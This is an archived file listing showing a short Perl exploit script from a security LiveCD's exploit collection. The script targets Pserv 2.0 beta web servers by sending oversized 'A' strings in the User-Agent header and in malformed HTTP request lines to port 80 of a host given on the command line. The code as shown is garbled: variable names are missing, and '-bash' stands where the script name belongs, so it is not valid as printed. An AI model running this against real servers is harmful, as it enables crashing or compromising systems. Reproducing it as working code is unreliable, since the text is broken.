home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / pserv / pserv-ex.pl < prev    next >
Perl Script  |  2005-02-12  |  690b  |  36 lines
  1. #!/usr/bin/perl -w
  2.  
  3. use IO::Socket;
  4.  
  5.  = "Pserv 2.0 Beta 1, 2, 3, 5";
  6.  
  7. unless (@ARGV == 1) {
  8. print "\n By Sapient2003\n";
  9. die "usage: -bash <host to exploit>\n";
  10. }
  11. print "\n By Sapient2003\n";
  12.  
  13.  = "A" x 500;
  14.  
  15.  = "GET / HTTP/1.0\nUser-Agent: \n\n";
  16.  = "GET / HTTP/1.0\n\n";
  17.  = "GET / HTTP/1.\n\n";
  18.  
  19.  = IO::Socket::INET->new(
  20.     PeerAddr => [0],
  21.     PeerPort => 80,
  22.     Proto    => "tcp",
  23. ) or die "Can't find host [0]\n";
  24. print  ;
  25. print "Attempted to exploit User-Agent HTTP Header\n";
  26. close();
  27.  
  28.  = IO::Socket::INET->new(
  29.     PeerAddr => [0],
  30.     PeerPort => 80,
  31.     Proto    => "tcp",
  32. ) or die "Can't find host [0]\n";
  33. print  ;
  34. print "Attempted to exploit HTTP Request Parsing\n";
  35. close();
  36.